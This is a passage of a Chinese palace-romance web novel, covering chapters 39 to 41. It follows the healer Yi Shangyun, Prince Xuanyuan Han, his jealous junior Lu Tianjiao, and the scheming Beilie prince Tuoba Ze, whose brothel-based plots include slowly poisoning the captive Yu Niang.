衣上云疑惑道“他?” “怎么,只不过一夜之间便记不起来了。如此,那本王不妨提醒你一下”轩辕翰似是轻蔑冷冷地说道。 “中秋之夜与你街市共度” “海棠谷......对你举止亲密” “本王大婚之日又当着本王的面将你劫去” 轩辕翰一字一句边说着,边迈步向着衣上云面前一步步逼近,很快衣上云便被逼身到身旁的床榻边扑通一声倒坐了下去。 她看着轩辕翰凌厉而又坚定的目光一边惊慌着一边脑中急急回忆,而当听到海棠谷的时候立马羞愧难当打断轩辕翰的话道“殿下,你.......” 谁知轩辕翰依旧不依不饶地欺身下去紧紧盯着她的眼睛不放,距离太近,他甚至都能听到衣上云此时扑通扑通的心跳声。 就在此时,轩辕翰突然站起身来道“本王的提醒,你可想起了?” 衣上云一阵凌乱怯怯地起身来道“殿下误会了,他只是奴婢的一个朋友而已” “朋友,哼,真好笑,衣药女对朋友的定义也真够广泛的,本王竟不知这天下女子与异性朋友之间的举止何时竟已可以如此亲密了” 衣上云第一次看到轩辕翰脸上挂着笑容,而此时的这个面带笑容说话的人口气中明显对她充满了冷嘲热讽。 “殿下,他叫易君浩,他真的只是奴婢的朋友”衣上云也开始一本正经地回答起他的质问,竟没有发现自己不知何时起在乎起这个男人对她的看法来。 稍顿了片刻她又继续道“三少他是百草谷谷主,百草堂正主。奴婢之前每次需要的仙草都是他给的,他一直在帮奴婢。人性格又豪迈不羁,只是偶尔言行举止有些跳脱而已,奴婢真的跟他没什么,根本不是殿下想的那样” 原来他不是魏明轩,确认了这一点,轩辕翰终于松了口气不再继续为难她了。 “衣上云,你真是蠢笨至极的无药可救了”轩辕翰忽然靠近贴着衣上云的耳边,对她说了这样一句话之后便回头快步走出了云水阁阁楼。 只是刚转身去的时候顿一立足眉毛瞬间舒展开来,嘴角上扬竟露出了一个极好看的弧度。 而衣上云则怔在原地,一脸的莫名其妙,不知其意为何?这时,她才怀疑起来“为什么殿下会知道我这么多事情。甚至连海棠谷的事情都知道......” 而此时,窗外角落里陆天骄将里面发生的一切看的真真切切。她眉头深锁,一筹莫展。 “果然如我所料,翰哥哥和这个女人的关系绝对不一般......”她正暗自说着忽然看到一个小女孩向着这边走来。 “姐姐,你也是和灵儿一样来找云姐姐的吗?”小女孩一走近就问陆天骄道。 “原来你叫灵儿啊,小模样长得可真好看。姐姐只是刚巧经过,灵儿和这个云姐姐很熟吗?”陆天骄试探着问灵儿。 “那当然了,云姐姐医术很好,她是个大好人,还是灵儿全家的救命恩人呢”灵儿天真无邪地看着陆天骄满脸自豪地说着。 “那云儿经常来秦王府吗”陆天骄继续套问着一个孩子的真话。 “对啊,秦王殿下对云儿姐姐也极好。每次云儿姐姐受伤都是秦王殿下带回到秦王府医治好了才回去的。而且云儿姐姐每次受伤都是秦王殿下亲自照顾的呢” “什么?”陆天骄大惊道,她不敢相信自己的耳朵,可这话明明就是从一个小女孩的嘴里说出的,怎么可能有假呢。每次......已经很久了吗? 灵儿见陆天骄发起呆来,便拉起她的衣袖用力扯了扯,随后伸出一只手出来勾了勾示意她俯身下来耳语道“姐姐,我告诉你一个秘密,原本整个秦王府的人都以为云儿姐姐会是秦王妃,却没想到秦王殿下会娶一个他国公主,真是看错他了” 最后,灵儿还再三叮嘱对陆天骄说道“灵儿最后这句话姐姐千万不能让那个秦王妃知道喔” 俩个人说完,灵儿便径自走进云水阁去找衣上云,陆天骄则朝前殿走去,边走边出神地独自琢磨思量着“这个女人真的不简单,竟然把翰哥哥迷得神魂颠倒,竟然连整个秦王府都被她玩弄于股掌之上” 陆天骄忽然止步说了句“不行,绝对不行,一个小小的奴婢怎么配得上翰哥哥呢,我不可能输给一个如此奴颜婢膝的丫头” 此时恰巧梅汐媛一路追赶着轩辕翰回到王府,她本就气愤异常,然一进秦王府大门,终究不得不端起一副秦王府女主人的架势来,她自是不能让人看出风风光光的秦王妃竟是一个深宫怨妇的模样。 她止步吸气调整好心态和仪容,趾高气昂骄傲地带着赵嬷嬷和贴身的侍婢们朝着轩辕翰安排的新寝殿韶华阁而去。 “民女陆天骄见过秦王妃,王妃万福”陆天骄远远看到梅汐媛回府便急急迎了上去行礼道。 “陆天骄,你是?”梅汐媛停步却根本不识得眼前这个娇柔可人的女子。 陆天骄见状,连忙自己介绍道“王妃娘娘,民女乃是西秦学院院长陆贤之女陆天骄,亦是秦王殿下的师妹” 陆天骄果然聪明,她深知梅汐媛目前自是谁都不得相识,但只要说出与秦王交好,她便自会上钩。 果然不出所料,梅汐媛的脸色立马变得温和有礼道“原来是殿下的小师妹,方才失礼了。请里面坐吧” “民女谢王妃娘娘”陆天骄计谋得逞。 梅汐媛似是黔驴技穷,对轩辕翰确实久久没有良方。此时竟伸出双手来拉起陆天骄的手热情地道“什么民女不民女的,既然是殿下的小师妹,以后你我便以姐妹相称便好,你看起来要比我小一些,今后你便唤我姐姐,可好?” “天骄蒙王妃娘娘不弃,那就恭敬不如从命了”陆天娇欣然接受道。 到了韶华阁里两人坐了下来“梅姐姐初至西秦大地,可都还适应?”陆天骄含蓄关怀道。 “妹妹有所不知,姐姐初至西秦在驿馆的时候确实十分不适,不过后来皇兄请秦王殿下派了医女过去驿馆诊治,倒遇到个机灵的丫头,医术也颇好。现在已经好多了”梅汐媛讲道。 陆天骄左右打量看了看韶华阁说“梅姐姐大婚,不是应该住在秦王的寝殿林月轩吗?怎么会搬来至此呢?” 梅汐媛听闻脸上的笑容立刻僵住却又瞬间恢复道“妹妹有所不知,殿下关怀,念我身子不适,让我先在此静心调养好身子,故此而为之” “即是如此,那便是殿下对梅姐姐怜香惜玉了,殿下真疼姐姐”陆天骄看到梅汐媛难看的脸色似是有些猜忌,但又立刻转变话语敷衍道。 此时,侍女奉茶上来,两人因为刚才的言语似是有些尴尬,都各自端起手中精致的鎏金茶碗来优雅地揭开盖磕碰着碗沿小饮着,以缓解这不适时宜的气氛和心绪。 院里,衣上云正牵着灵儿的小手从韶华阁门前经过打算要出府回宫去,恰巧被刚抬头望向窗外的陆天娇看见。 她眼睛咕噜一转,便开口道“梅姐姐,秦王府上怎会有小孩子?” 梅汐媛刚进王府门,自是对王府上下还都尚未熟悉了解,便也抬眼向陆天骄目视的方向看去,而她看到的确是一个熟悉的身影。 “是她?”梅汐媛一眼便看到遮面纱的衣上云惊讶道。随即便起身来朝外走去,陆天骄亦起来紧随而出。 “衣药女,怎么是你?”梅汐媛有些喜出望外地说。 “奴婢拜见秦王妃娘娘,娘娘万福”衣上云急忙行礼道。 “真没想到我们竟如此有缘,这么快就又见面了,你不是跟着玥公主的吗?是玥公主来王府了吗?你们这是要去哪啊,这个小孩是?”梅汐媛一时间竟像是遇到故人般欣喜。 “王妃娘娘,奴婢是陪同玥公主前来观礼秦王和王妃大婚的,因奴婢突发恶疾故被留在王府修养,玥公主昨夜已随皇后娘娘回宫去了。奴婢这会儿也无碍了,正准备回御药房去。这个孩子她叫灵儿,是一个可怜的孩子,秦王暂留她婆孙俩在王府暂居,待她父母归来再领回去” 衣上云说着摸了摸灵儿的小脑袋,对梅汐媛的提问一一做了答复。梅汐媛这才恍然明白。 “原来如此”梅汐媛说着也伸手去想要安抚摸摸灵儿的脑袋,谁知...... 第三十九章:燃烧的白莲花 “原来如此”梅汐媛说着,也伸出手去想要安抚摸摸灵儿的脑袋,谁知灵儿却突然后退随之急急躲到了衣上云的身后藏起大半个身子来,只露出半个小脸儿出来,眼神里流露出不知是惊恐还是厌恶的表情来。 “灵儿,不得无礼,快给王妃娘娘请安”衣上云看到灵儿如此无礼的举止责备着。 片刻后,只见灵儿心不甘情不愿地缓缓从衣上云的身后走上前来,用那稚嫩又无邪如同银铃般清脆的声音跪拜行礼道“灵儿给秦王妃娘娘请安” 梅汐媛见此连忙上前屈身将小灵儿扶起,这才终于顺势摸了摸她的脑袋道“灵儿真乖,长得真可爱,既然殿下允你暂住在王府,那日后要多来本王妃这边玩玩,本王妃也会颇感热闹一些,好吗?” 灵儿没有回答她,一起身便又缩回到衣上云身后。 衣上云无奈,只能替她答谢“王妃娘娘人真好,能得王妃娘娘疼爱是灵儿的福气,日后灵儿一定会多前来叨扰,还望娘娘不怪罪她才是” “衣药女言重了”梅汐媛亦是微笑着客气地说道。 “时候不早了,奴婢还急着回宫到御药房报到领差去,就不打扰王妃娘娘了,改日有机会再来给秦王妃娘娘请安”衣上云看了看天色,跟梅汐媛话别道。 “那你一路当心,日后一定要多来王府走走”梅汐媛关怀道。 “嗯,奴婢谢王妃娘娘不弃”衣上云说完也同时对梅汐媛身边的陆天娇颔首告辞,之后便牵起灵儿的小手朝王府大门走去。 很快就到了秦王府门口,衣上云这才转身回头蹲下来拉着灵儿一双稚嫩的小手说道“灵儿,你和奶奶日后还得有一段时间住在这个王府里,秦王妃娘娘是王府的女主子,你可明白?” 见灵儿嘟着小嘴不语,她继续语重心长地看着她的眼睛说“一定要乖乖听话,这样主子才会喜欢;主子喜欢,你的日子也才会好过;你的日子好过了,你爹娘才会安心,你才能安全地在此等候他们回来一家团聚,知道吗?” “可是姐姐,王府上下所有的人都以为秦王殿下喜欢的人是你,而不是那个什么公主,为什么秦王要娶那个公主,而不是姐姐你呢?”衣上云顿时惊讶灵儿竟说出这样的话来。 她一时间慌乱无措,四处张望着看了看周遭并没有旁人在。这才狠狠地训诫灵儿道“不许瞎说,秦王殿下是什么人,姐姐我又是什么身份,这是对殿下的亵渎,知道吗?天下只有像东宁公主这样出身高贵的金枝玉叶才配得上殿下,以后这种话千万不许再说,记住了?” 灵儿依旧一脸不以为然却不得不嘟囔道“灵儿记住了” “好了,记住姐姐的话,照顾好你奶奶,姐姐走了”衣上云虽然不舍得这个可怜的小女孩,但她也深知自己本就是个身不由己,泥菩萨过河自身难保的人。 “姐姐,我爹娘会平安回来吗?”灵儿突然问了句。 “会,当然会,灵儿,你一定要相信他们,所以你更要好好听话,在这里乖乖等着”衣上云安慰她。 “灵儿知道了,云姐姐你放心吧,我会好好听话,照顾好奶奶,不让你和爹娘为灵儿担心”灵儿似是自己鼓足勇气地道。 “嗯,这就对了。不管未来发生什么,灵儿一定要做一个勇敢的姑娘,记住姐姐的话”衣上云说着眼里竟噙满了泪水,随即匆匆起身来朝外奔去,只怕自己再多停一秒就会在这个天真的孩子面前止不住流出泪来。 教一个七岁的小女孩学会坚强,自己却先泪崩,这场景该是有多尴尬呀。 衣上云已然离去,小灵儿却还怔在原地痴痴站着望着她离去的背影,这时候躲在一旁墙角听着俩人凄凄告别的轩辕翰走了出来,用一只安全感十足的大手抚向灵儿的脑袋。 灵儿抬头看见来人是轩辕翰,竟对着他露出了一个责怪的眼神问了句“秦王殿下,为何你娶的是东宁公主,而不是云姐姐呢?” 轩辕翰听闻一脸复杂之态却不知该如何回答这个孩子此时提出的问题。是啊,也许当初他真的不该应允璟帝这桩和亲,可如今...... 最后,他只得对灵儿道了一句“灵儿乖,等你长大以后,自然就会明白,人生中有很多事情都是始料未及的”,灵儿一脸不解,随后便被轩辕翰牵起小手转身朝王府后殿走去。 此时,梅汐媛和陆天骄送走了衣上云,又再次回到了韶华阁里。 寒冬腊月,外面到处一片冰天雪地。而屋内却尽是暖洋洋的,一室的温暖如春。 炭火盆里的极品无烟炭燃烧后散发着寒冬里迷人的温度,梅汐媛披着为早上进宫请安特意准备的东宁国最极品奢华的狐白裘衣,俩人就着茶果点心,相聊甚欢。 陆天骄对梅汐媛说道“原来为梅姐姐医治,梅姐姐说的机灵丫头,医术颇高的便是这个女子啊” 梅汐媛听着心里似是有些怀疑地说“正是她,难道妹妹也认得这名女子吗?” 陆天骄眼睛转了一下道“姐姐,这个女子,怕是秦王府内无人不知,无人不晓的” 梅汐媛突觉陆天娇此语话中有话,便道“哦,妹妹说的可是真的。妹妹知道些什么,不妨直言,也说给姐姐听听” 陆天骄却突然收起心思道“姐姐有所不知,妹妹也是道听途说的。这其中端由妹妹也不知该从何说起,想必以后在秦王府的日子长了,姐姐慢慢自会都知道的” 说完,陆天骄朝窗户外面看了看天色说“梅姐姐,天色不早了,妹妹该启程和哥哥回学院去了”说完便起身来。 梅汐媛听闻一脸狐疑,但陆天骄既不愿意说,她也不便再继续追问,亦起身道“既然如此,妹妹以后得空要经常来王府看望姐姐,多走动走动才好” “那是自然,以后妹妹若是打扰了姐姐,还望姐姐莫怪”陆天骄客气地说。 梅汐媛:“怎么会呢,姐姐巴不得妹妹常来呢” “外面天冷,姐姐身子多有不适,就不必出门相送了”陆天骄说完便要出门去,却突然转身回头来补了一句“所谓害人之心不可有,防人之心不可无,姐姐日后还需自己多留心才是” 梅汐媛越觉得她这话里有话不对劲,却直道“谢妹妹提醒”。 这时,陆天骄朝着梅汐媛微微一笑才缓缓移步出去。 梅汐媛却怔在原地许久,暗自道了一句“衣上云,秦王府无人不知,无人不晓” “赵嬷嬷,去给本王妃好好打听打听”许久,梅汐媛蹙眉对一旁的赵嬷嬷下令道。 “王妃放心,老奴一定查的清清楚楚”赵嬷嬷咬牙切齿也信誓旦旦地领命道,眼里露着的尽是凶狠的眼神。 西秦国城内,西秦学院陆氏兄妹俩人正共乘一辆马车一路往南疾驰在回学院的途中。 天色已晚,路过一家客栈的时候停下来准备投宿一夜天亮再继续赶路。 “店家,麻烦帮我们备两间上等客房,一桌酒菜,再安排人将外面的马车好好打理补给一下,明天一早天亮我们还要赶路” 陆天麟安排好一切,来到坐等在一旁的陆天骄身旁落座。 陆天麟坐下看了看陆天骄一眼,皱眉说道“妹妹,你真是太大胆,太任性了,去秦王府之前哥哥都提醒过你多少回了。秦王殿下已经大婚,你还想怎样?” “哥哥何出此言,妹妹不懂哥哥所说”陆天骄面无表情佯装着回答道。 “不懂?那你冲着殿下说的那句话是什么意思?殿下是西秦皇族中人,你可知道”陆天麟用接近训斥的口吻说。 “他是西秦皇族人又如何?”陆天骄一点都不示弱地怼他。 陆天麟见她始终不知悔改,更气道“皇族子女,婚姻大事岂可任由自己。哪个不是以先做一颗皇家巩固江山社稷用的棋子为先” “那又如何”陆天骄依旧不肯认错。 “如何?既然你都知道,为何还要问殿下喜不喜欢永乐公主。他们既已是夫妻,喜欢与不喜欢又干你何事” 陆天麟到现在还在为他这个妹妹当着尊贵的秦王殿下面质问这句话而提心吊胆着。这个妹妹着实让他不放心。 陆天麟深知陆天骄心里和口中所谓的从小到大青梅竹马的感情,其实只不过是这个妹妹的一厢情愿而已,尊贵的战神秦王并非池中之物,又怎么可能看上他妹妹这样平凡最多也就空有一副皮囊的女子。 “客官,您的酒菜齐了,请慢用”这时,店家端上来一桌热腾腾的酒菜,兄妹俩人看着却无一人先动手用餐。 终于,陆天麟还是忍不住说出了这句极其伤害陆天骄自尊的话来“妹妹,你喜欢谁不好,非要喜欢一个不可能的人。你自己也明明知道,从始至终这都只是你自己的一厢情愿而已” 听到这句,陆天骄立马暴跳站起身来道“够了,我的事不要你管,管好你自己吧。难道你看不出殿下对你当时退掉亲的衣家嫡女的心思吗?” 话一说完,陆天骄便转身夺门而出,瞬间消失在这已经有些朦胧的夜里。 “衣家嫡女...衣上云...秦王殿下,他对衣上云的心思......”陆天麟被妹妹的怒吼声惊到,却琢磨起妹妹丢下的这句话来。 “不可能,绝对不可能,衣家那丑女,废柴,殿下怎么可能对他......”陆天麟自言自语着,一脸的不相信的摇着头。 他突然意识到陆天骄一天了亦还没有吃饭,便抬头朝着她离去的方向看去,却早已是空无一人,他叹了口气自顾自吃了起来。 客栈不远处一条小河边的亭子里,陆天骄被陆天麟训斥后从客栈一路狂奔出来,此刻正坐在亭子里面梨花带雨伤心地抽噎着。 “一厢情愿,自作多情,陆天骄啊陆天骄,枉你还是西秦学院大小姐,知书达理,大家闺秀,也算是出生名门。如今却被如此羞辱”陆天骄咬牙切齿地说着。 “我好恨,好恨,为什么?为什么你们都这样对我,我到底做错了什么。殿下...翰哥哥,你为何将天骄视如草芥,弃如敝履” “不,我陆天骄生来尊贵,岂能任由你们呼之则来挥之则去。我不能就这样认输。哼......秦王妃,衣上云,是你们逼我的,是你们逼我的”陆天骄似是发狂般的喊着。 在严冬这样寒冷的夜里,她却似乎一点都感觉不到冷。此时她几近失去理智,整个人都好像被仇恨燃烧了起来,被仇恨灼烧着,全身滚烫,似是唯有在这冰冷的天地之间才能寻得一点舒适的温度,让自己好受一点。 而就在这时,从这漆黑的夜里闪现出一个陌生的人影来,你是何人? ...... 第四十章:“北烈国商人” 就在这时,从这漆黑的夜里闪现出一个陌生的人影. “谁?”陆天骄忽然惊道。 漆黑的夜里朦朦胧胧中,只见从凉亭边桂花树的枯枝后缓缓闪现出来一个身材高大的身影。 随着身影越来越近,陆天骄终于看清是个身着玄色冬衣锦袍,墨发半束,一双剑眉下鼻梁高挺,气度不凡的男子。 “小姐莫怕,在下不是坏人”男子一露面出来便急急解释道。 “哼,不是坏人为何要偷窥本小姐”陆天骄一脸不屑地对他说。 “小姐误会,在下只是恰巧路过。见天色已晚,小姐孤身一人在此失神落魄,担心小姐遇到歹人,故在一旁守护不敢随意惊扰”男子一边说,一边靠近陆天骄的身旁坐了下来。 陆天骄见他不请自坐了下来,方才还黯然失神空洞的眼神立马变得明亮起来,瞥了男子一眼,随即脸扭向另一边看去。 有的女人,就比如现在的这个,变脸果然比变天要快。 “敢问小姐为何深夜独自一人在此伤心落泪呢?”男子一落座下来便问。 “本小姐的事与你何干”陆天骄好不容易放下了刚才的心事,被男子这么一问,又瞬间浮上心头,于是气急败坏地怼了句。 “小姐莫要动怒,女人动怒无论对身对心皆无益处,在下只不过是想为小姐分忧而已”男子急急劝说她道。 “你?”陆天骄说着用疑惑的眼神更像是在嘲讽他能帮她分什么忧. “小姐不妨说出来听听,也许在下真的能帮到小姐呢,不是吗?”男子执意微笑着说。 陆天骄此刻确实需要一个倾诉对象,反正也互不相识。就权当发泄好了。 于是,陆天骄说道“如果你喜欢了一辈子的人,他喜欢的却是别人而不是你,你会怎么办?” “这不简单,小姐另外找个喜欢你的人不就好了吗。韶华易逝,红颜易老”男子轻松地说着。 陆天骄一听便白了他一眼,他立马意识到自己的玩笑有点不合时宜,便变得一本正经地说“那就......毁了她”。 男子特意靠近陆天骄的耳边说了这样一句,脸上虽然微笑着,眼里却竟露着凶煞的神情。 陆天骄听了立马一怔,低眉心里想“毁了她......” “小姐,既然有缘,交个朋友如何,在下拓跋泽,乃北烈国商人”男子见陆天骄就他所言有所琢磨便自己介绍道。 “北烈国?难怪方才一直听你口音不像是西秦人士”陆天骄这才解了刚才的疑惑道。 “那不知在下,可否有幸结识小姐呢?”拓跋泽微笑着追问。 “小女陆天骄,家父是西秦学院院长”陆天骄亦是有礼地答道。 “原来是鼎鼎有名的西秦第一学府西秦学院陆院长的千金,幸会幸会,能认识小姐,实在是三生有幸。日后有任何需要在下的地方,小姐尽管开口,不必客气”拓跋泽言语奉承着,陆天骄却似是很享受这些美丽的言语。 “你是商人?那你是做什么生意的”陆天骄突然问道。 拓跋泽迟疑了一下问“陆小姐真的想知道?” “不便说吗,那就算了”说着,陆天骄板起脸来起身想走。 拓跋泽赶忙站起身来伸手拦住她道“不是在下不敢说,只怕陆大小姐不敢听”。 “笑话,这世上还没有我陆天骄不敢听的话,你敢说我便敢听,且说无妨”。 于是,拓跋泽轻声地问陆天骄“陆大小姐可曾听过万娇阁?”。 陆天骄还真没听过拓跋泽说的这个地方,露出一脸疑惑问“万娇阁?那是什么地方?”。 只见拓跋泽并未就此直接作答,而是向着陆天骄身边缓缓走过去然后耳语。 “什么?”陆天骄霎那间大惊地喊叫了一声,随即便惊慌失措地狂奔出凉亭,朝客栈方向而去。 她走出很远之后,从阴暗的角落里走出两名侍卫上前到拓跋泽面前恭敬地行礼后其中一名道“殿下为何要屈尊结交这样一个刻薄刁钻的女子”。 拓跋泽抬头望着陆天骄离去的方向,下巴微微扬起道“西秦学院......可一点都不普通”。 说罢,便转身三人一起消失在这片浓浓的夜雾之中。 此时,陆天骄一路狂奔终于回到客栈,听到隔壁“咣当”一声门响。陆天麟知道是陆天骄回来了,便急急走出去叩门道“妹妹,发生了何事?” “没事,我累了”陆天骄满脸绯红,心到现在还扑通扑通地跳着,没想到这个北烈国商人竟是做的青楼女子买卖。 此时,陆天骄才深吐了一口浊气。不过,她却记住了拓跋泽的一句话“那就毁了她......” 夜幕下,西秦城南一片烟花柳巷聚集之地,万娇阁居占鳌头。 一个精致的四合院式小洋楼高级风月场所,豪华奢靡、莺歌燕舞、千娇百媚、声色犬马。 更重要的是,这里来来往往进进出出的尽都是些豪门富户、权贵雅士、名门望族。 老鸨正喜逐颜开地用她那张三寸不烂之舌打点伺候着每一位贵客,跑堂的大茶壶像只猴子般跳上窜下飞奔在堂里,楼上楼下忙的不亦乐乎。 阁楼内的男男女女,吟诗作对的、你拉我扯的、倚着栏杆撅着小嘴欲擒故纵的、捶腿的、捏肩的、揉背的,个个都使出浑身解数各展才华,其实大部分不过都是些可怜女子罢了。 一双玉臂千人枕, 半点朱唇万客尝, 迎来送往知多少, 惯作相思泪两行。 “殿下,老鸨说前段时间逃跑的那个小娘子自己又回来了”紧跟在拓跋泽身后的两个侍卫有一个禀告道。 “确定没有问题吗?”拓跋泽冷声怀疑地质问道。 “已经派人都仔细查过了,她是跑出去被西秦秦王府收留做下人,后来据说是想飞上枝头做凤凰打了秦王的主意,被府上的老嬷嬷发现赶了出来,甚是凄惨,无处可去只得再回来这里”侍卫道出详情。 “身上用的毒呢”拓跋泽又问。 “殿下放心,老鸨已经继续在给她用毒了,不会出岔子”三个人一边走一边轻声说着,随即上楼来到万娇阁顶层一间隐秘的阁楼里。 “咚咚咚”一阵敲门声传来,侍卫忙过去开门。 是老鸨走了进来,见到拓跋泽便行礼道“殿下,你要的毒再过几日老身便会制好,你确定要这么做吗?” “你只管制毒,其它不必多问,此事事关重大,一定要控制好,否则后果不堪设想”拓跋泽甚是严谨地交待。 “老身明白,还有那个女子该如何处置?”老鸨口中说的这个女子正是从秦王府被赶出来的婆婆的儿媳,灵儿的娘亲——玉娘。 “这个女子资质不错,先给本皇子好好侍候着,本皇子要留作他用,不能再出岔子”拓跋泽锁紧眉头意味深远地讲着。 老鸨说完正想离去,拓跋泽叫住了她“南安国那边有什么动静吗?”。 “南安那边对老身暂时尚且没有怀疑,殿下放心”老鸨真实的身份其实是灵空大陆南安国贵族人士,而现在她却倒戈投向了北烈皇子拓跋泽。 其实拓跋泽并不完全相信老鸨的倒戈,所以经常会居于万娇阁亲自监督理事。 “还有一事交待下去,如果有人报上西秦学院的名字来找本皇子,务必及时通知本皇子”拓跋泽说完老鸨领命退去。 “殿下认为刚才那位姑娘真会再来?她刚刚明明知道了咱们的身份后吓得落荒而逃啊”一旁的侍卫似是怀疑地问。 “哼,本皇子看人料事什么时候错过?世间女子皆因爱而生、因爱而死、因爱而恨、因爱而贪、因爱而嗔、因爱而痴、因爱而疯而狂。陆天骄...她明显已经疯狂了”拓跋泽笃定了陆天骄一定会再来找他帮忙。 “西秦学院,这里面肯定藏着不可告人的大秘密”说着,拓跋泽露出了极为好奇和深不可测的眼神。 “那如果控制了陆大小姐,西秦学院自会成为我们的囊中之物。殿下英明”侍卫瞬间似是明白过来。 “如今毒已将备好,其他事进展如何了?”拓跋泽问。 “原本二殿下对医药之术颇有研究,有他帮忙的话自是事半功倍,只是他始终自命清高不屑与我们为伍。所以属下只能另行安排人去办,不过殿下放心,此次西秦太子绝对逃不掉,而且我们在南安国境内下手,西秦绝对不会怀疑到是我北烈所为”侍卫细细禀着。 “清高?本皇子看他是日子过的太舒坦了。在北烈高寒干旱的大草原上,如果没有本皇子带领众将领四处征战,掠夺,仅仅依靠互市他将衣不蔽体食不果腹,北烈国遍地饿殍,国将不国。跟本皇子谈清高...”拓跋泽狂怒道。 “殿下息怒,兴许二殿下只是尚且太年轻了”侍卫见状连忙劝声道。 半天后,拓跋泽一只手伸了出去微微摆了摆,示意他们都退下去,二人见状便悄悄禀退了出去,轻轻将门掩上。 北烈国君年迈但甚是偏袒他这个皇弟,认为他的皇弟性情温和,人品贵重。而他却觉得这个皇弟是个扶不起的阿斗,优柔寡断,妇人之仁。北烈国要是交到这样的人手中,不亡国乃怪事也。 “唉......”终究所有的心事化为这一声长叹,随即他移步到房间靠窗的位置而立,放眼朝外望去。 半晌后只听见他忽然望着对面的窗户口中道出一句“果真是个迷人的美人儿”。 夜晚时分雨潇潇,只见对面阁楼里灯火昏暗,一个身着紫衣、弯弯的柳叶眉下一双水灵的大眼睛,细腻温婉的女子正倚在窗边朝外凝视着若有所思,似是一副多愁善感的样子。 “深画眉,浅画眉,蝉鬓鬅鬙云满衣。阳台行雨回。巫山高,巫山低,暮雨潇潇郎不归。空房独守时”此刻女子低声吟道。 “哎呀,我的小祖宗啊,都跟你说过多少次了,老老实实在房间里呆着,好好在房间里呆着,你怎么就听不进去呢” 这时老鸨进来打断了她的思绪和浅吟,一边喊着说着,一边急急走过来伸手把女子从窗前半推半就至房间里面桌案边坐了下来。 接着又走回去窗前,探出半个脑袋四下里张望看看,见到除了对面同样倚窗而立的拓跋泽外并无旁人,这才安心地朝对面的主子微微颔首后急急将所有窗户关的严严实实。 这个女子是谁呢?...... 第四十一章:种子发芽了 这个拓跋泽口中迷人的美人儿到底是谁呢? 她正是婆婆的媳妇,亦是灵儿的娘,名唤玉娘。 自从在秦王府得知万娇阁可能会有她失踪丈夫的消息后,她便配合着秦王府众人做了一场震惊了大半个西秦皇城的苦肉计。 如今,被赶出王府细细数来也已有数月,却丝毫没有收获。 此刻她正满腹惆怅着沉浸在对家人无尽的思念和对丈夫缠绵悱恻无边的相思之中。 “我说玉娘啊,咱们可是丑话说在前头过的。你既然选择了再次回到万娇阁,就得乖乖听老娘的话,如果你再私自到外头抛头露面惹出什么祸端,那就别怪老娘我翻脸不认人”。 老鸨凶神恶煞气呼呼地一边说着,一边将方才端进来的一碗汤药狠狠“砰”地一声摔在玉娘面前的桌案上,药汤瞬时四溅出来。 但玉娘对她却并不害怕,她的心已经接近绝望了。 有时候她恨不得老鸨每天端来的汤药哪天变为致命的毒药,让她永远的闭上眼睛不要再这么绝望地活着。可是一想到还有个可怜的小女儿,她又不得不继续苟延残喘地活命。 “像我这样的人,你究竟要这样留着我何用?”玉娘一边端起老鸨每天按时送来必服的各种慢性.毒药,一边绝望地问着。 “哼,主人如此厚待于你,留着你自然有用。你亦不必心急,总有一天你会知道的”老鸨一边说着一边走到门口长廊的护栏边。 她低头看着楼下一片活色生香逢场作戏的痴缠男女,用极其轻蔑的口气对玉娘说“莫不是你独守空房太久耐不住寂寞,想学他们不成?” 玉娘并没有理会她的挑衅,只顾着服下了毒药后突然说了句“我要见主子” “你说什么...你要见主子?主子他是什么人,也是你能想见就见的?”老鸨惊讶地从外面一步跨进门来走到玉娘面前对她怒道。 “见不到主子,玉娘从此不再服任何药汤”玉娘一脸坚定严肃地说道,老鸨顿时气的咬牙切齿起来喃喃道“真不知道主子究竟为何弄回这么个烈性子的女人” 但她知道只能先将其劝慰下来再另做打算,于是道“让我安排一下,主子远在天边,也不可能随叫随到” “如此,便有劳了”玉娘如得所愿,许久以来一无所获迷雾般的局面似乎瞬间变得清明起来。她不能再等下去了,她怕再等下去丈夫会不会......。 此刻,她想都不敢往下想。她必须主动出击想法让敌人现身,既然她无法找出这个幕后黑手,那就只能让对方来找自己了。 很明显,她知道老鸨只是一个傀儡,真正的主子才会给她更多想要的答案和信息。 老鸨气呼呼地端起药碗走了出去将门掩上,口中喃喃“这个女人,竟敢威胁我,当初要不是殿下一定要留着她,她还能有今日这般姿态。哼,看我日后怎么收拾你” 老鸨走后,一室寂静。 玉娘一个人坐着又低吟起那句“深画眉,浅画眉,蝉鬓鬅鬙云满衣。阳台行雨回。巫山高,巫山低,暮雨潇潇郎不归。空房独守时” 随后便双眼噙满泪水暗自道了一句“夫君,玉娘今日所做的一切都是为了你,哪怕沦落至这烟花柳巷之地也无怨无悔,玉娘只求你一定要活着,一定要活着......” 老鸨从房间一出来便碰到了拓跋泽,她急急走过去放低声音说道“殿下,那个女人执意说要见你,否则便不再继续服药” 拓跋泽听了眼睛一怔,接着淡淡地说了一句“本皇子知道了” 老鸨一脸忧心地退下,拓跋泽用一副皮笑肉不笑的表情暗自说了一句“好戏就要开始了” 一场冬雨过后,天气越加的寒冷刺骨。 秦王府里,秦王妃梅汐媛正一身雍容华贵的冬衣加着奢华珍贵的狐白裘衣端坐在温暖的韶华阁里心情舒畅,正优雅地品着东宁国陪嫁过来的美容养颜极品花茶。 “王妃娘娘,这秦王府的奴才们口风实在太紧,老奴费尽力气也没能打探出半点消息”赵嬷嬷一脸无奈地正在向梅汐媛禀告着她打探的结果。 而梅汐媛却露出一脸平静道“这样的结果,本王妃早有所料,嬷嬷不必自责。秦王府的事情尤其是殿下的事,岂是如此容易便能打听到的” 赵嬷嬷近身到梅汐媛身边道“王妃娘娘,那接下来咱们该怎么办?” 梅汐媛眼睛温柔地一眨微笑着说“嬷嬷放心,本王妃自有办法。我让嬷嬷炖的冬补汤可炖好了?” “已经炖好,娘娘是要......”赵嬷嬷似是心中已有些猜度地疑问。 “哼,嬷嬷带着冬补汤跟随本王妃去给殿下请安吧。既然他不来我这韶华阁,那本王妃就亲自过去问候他”梅汐媛哼笑一声说。 承华殿里,站在大殿门口随时待命的副将程良见梅汐媛过来,似是怕里面的主子听不见,便立刻大声地行礼道“属下参见王妃娘娘” 梅汐媛端起一副客气又不失贤淑的姿态关切道“这大冷天的,程将军侍奉殿下实属辛苦。” “王妃娘娘关怀,照顾殿下乃属下职责所在”程良回话。 “近日里本王妃看殿下甚是繁忙辛苦,唯恐下人们照顾不周,特亲自下厨炖了这盅冬补汤前来送予殿下,烦劳程将军帮忙通传一声”。 